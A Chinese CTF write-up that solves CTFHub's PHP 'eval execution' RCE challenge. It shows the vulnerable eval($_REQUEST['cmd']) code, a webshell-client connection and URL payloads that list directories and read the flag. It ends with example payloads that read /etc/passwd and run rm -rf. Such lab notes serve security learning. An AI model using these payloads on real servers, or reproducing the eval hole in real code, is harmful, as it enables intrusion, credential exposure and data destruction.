0x00 前言
CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。
0x01 题目描述
eval执行:
(无)
0x02 解题过程
0x1 方法一: 使用蚁剑连接
Ⅰ检查网页显示内容可以发现题目中直接给出了一段源代码,代码的大致意思是判断用户是否传了一个 cmd 参数,否则执行 else 。
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
Ⅱ使用蚁剑连接 cmd 参数试试,测试连接发现可以成功连接,说明此题存在 eval 执行
Ⅲ检查目录列表发现关于 flag 的文件
Ⅳ检查文件内容发现此题 flag
0x2 方法二: 网页检查文件
Ⅰ根据网页代码的提示,可以先把查看网页根目录文件的命令赋值给 cmd 然后执行
http://challenge-b7776ccd779fe163.sandbox.ctfhub.com:10800/?cmd=system("ls");
Ⅱ继续检查上一级文件夹,这里发现一个flag_9195的文件
http://challenge-b7776ccd779fe163.sandbox.ctfhub.com:10800/?cmd=system("ls /");
Ⅲ继续传参给cmd命令检查flag_9195的文件,发现此题flag
http://challenge-b7776ccd779fe163.sandbox.ctfhub.com:10800/?cmd=system("cat /flag_9195");
0x03 eval执行
eval 函数可以将字符串作为代码执行,那么在使用 eval 函数作为获取用户输入的时候应该避免使用这类函数。如果用户输入的是一段恶意代码,就会导致严重的安全问题。
例如:
1.访问服务器敏感信息
?cmd=system('cat /etc/passwd')
2.删除网页文件
?cmd=system("rm -rf /xx/xx");
0x04 参考文献
[1].Ho1aAs. CTFHub_技能树_Web之RCE——“eval执行”、“命令注入”[EB/OL]. [2023-04-19]. https://blog.csdn.net/Xxy605/article/details/107548841.
0x05 总结
文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。